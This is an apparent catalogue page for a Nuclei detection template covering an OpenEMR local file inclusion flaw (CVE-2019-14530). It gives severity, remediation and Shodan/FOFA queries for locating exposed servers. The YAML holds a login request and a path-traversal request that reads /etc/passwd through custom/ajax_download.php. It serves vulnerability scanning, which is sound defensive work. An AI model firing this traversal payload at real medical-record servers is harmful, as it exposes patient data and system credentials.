CVE-2019-14530: OpenEMR <5.0.2 - Local File Inclusion
- Template: CVE-2019-14530
- Name: OpenEMR <5.0.2 - Local File Inclusion
- Description: OpenEMR before 5.0.2 is vulnerable to local file inclusion via the fileName parameter in custom/ajax_download.php. An attacker can download any file (that is readable by the web server user) from server storage. If the requested file is writable for the web server user and the directory /var/www/openemr/sites/default/documents/cqm_qrda/ exists, the file will be deleted from server.
- Impact: An attacker can exploit this vulnerability to access sensitive information, such as configuration files, credentials, or other sensitive data.
- Remediation: Upgrade OpenEMR to version 5.0.2 or later to mitigate the LFI vulnerability.
- Severity: high
- Authors: TenBird
- Tags: cve2019, cve, lfi, authenticated, edb, openemr, open-emr, vuln
- References: https://www.exploit-db.com/exploits/50037, https://github.com/openemr/openemr/archive/refs/tags/v5_0_1_7.zip, https://github.com/openemr/openemr/pull/2592, https://nvd.nist.gov/vuln/detail/CVE-2019-14530, https://github.com/sec-it/exploit-CVE-2019-14530
- Cves: CVE-2019-14530
- Verified: yes
- Max requests: 2
- Directory: http/cves
- Path: http/cves/2019/CVE-2019-14530.yaml
- Digest: 4a0a004730450220314600cd3bbf14348d61d82263fed304c6301ebbb235213c92f90b869900a27a022100e3b194410ff5e99afba91eee42d9de5952f72bee88e54080cb68628a441e9c05
- Created at: 2022-08-30T11:01:38Z
- Updated at: 2026-11-21T02:03:58Z
- Age in days: 1547
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2019/CVE-2019-14530.yaml
Classification
- Cwe: CWE-22
- Cvss score: 8.8
- Cvss vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
- Epss score: 0.65529
- Epss percentile: 0.9928
- Cpe: cpe:2.3:a:open-emr:openemr:*:*:*:*:*:*:*:*
Metadata
- Fofa-query: icon_hash=1971268439, body="openemr", title="openemr", app="openemr"
- Google-query: intitle:"openemr"
- Max-request: 2
- Product: openemr
- Shodan-query: http.html:"openemr", http.title:"openemr", http.favicon.hash:1971268439
- Vendor: open-emr
- Verified: yes
Products
| Product | Indexed | Url |
|---|---|---|
| open-emr:openemr | yes | /v1/products/open-emr/openemr |
Labels
- Name: OpenEMR - File Inclusion
- Impact: Attackers can download any readable file and delete writable files, potentially leading to data loss or further system compromise.
- Remediation: Update to version 5.0.2 or later to fix the vulnerability.
- Vulnerability type: file_inclusion
- Vulnerability impact: file_system_read, file_system_write
- Requirement type: none
- Labels source: projectdiscovery
- From cve: CVE-2019-14530
- Not known: requirements
```yaml
id: CVE-2019-14530
info:
name: OpenEMR <5.0.2 - Local File Inclusion
author: TenBird
severity: high
description: |
OpenEMR before 5.0.2 is vulnerable to local file inclusion via the fileName parameter in custom/ajax_download.php. An attacker can download any file (that is readable by the web server user) from server storage. If the requested file is writable for the web server user and the directory /var/www/openemr/sites/default/documents/cqm_qrda/ exists, the file will be deleted from server.
impact: |
An attacker can exploit this vulnerability to access sensitive information, such as configuration files, credentials, or other sensitive data.
remediation: |
Upgrade OpenEMR to version 5.0.2 or later to mitigate the LFI vulnerability.
reference:
- https://www.exploit-db.com/exploits/50037
- https://github.com/openemr/openemr/archive/refs/tags/v5_0_1_7.zip
- https://github.com/openemr/openemr/pull/2592
- https://nvd.nist.gov/vuln/detail/CVE-2019-14530
- https://github.com/sec-it/exploit-CVE-2019-14530
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.8
cve-id: CVE-2019-14530
cwe-id: CWE-22
epss-score: 0.65529
epss-percentile: 0.9928
cpe: cpe:2.3:a:open-emr:openemr:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 2
vendor: open-emr
product: openemr
shodan-query:
- http.html:"openemr"
- http.title:"openemr"
- http.favicon.hash:1971268439
fofa-query:
- icon_hash=1971268439
- body="openemr"
- title="openemr"
- app="openemr"
google-query: intitle:"openemr"
tags: cve2019,cve,lfi,authenticated,edb,openemr,open-emr,vuln
http:
- raw:
- |
POST /interface/main/main_screen.php?auth=login&site=default HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
new_login_session_management=1&authProvider=Default&authUser={{username}}&clearPass={{password}}&languageChoice=1
- |
GET /custom/ajax_download.php?fileName=../../../../../../../../../etc/passwd HTTP/1.1
Host: {{Hostname}}
host-redirects: true
max-redirects: 2
matchers-condition: and
matchers:
- type: word
part: header
words:
- filename=passwd
- type: regex
regex:
- "root:[x*]:0:0"
- type: status
status:
- 200
digest: 4a0a004730450220314600cd3bbf14348d61d82263fed304c6301ebbb235213c92f90b869900a27a022100e3b194410ff5e99afba91eee42d9de5952f72bee88e54080cb68628a441e9c05:922c64590222798bb761d5b6d8e72950
```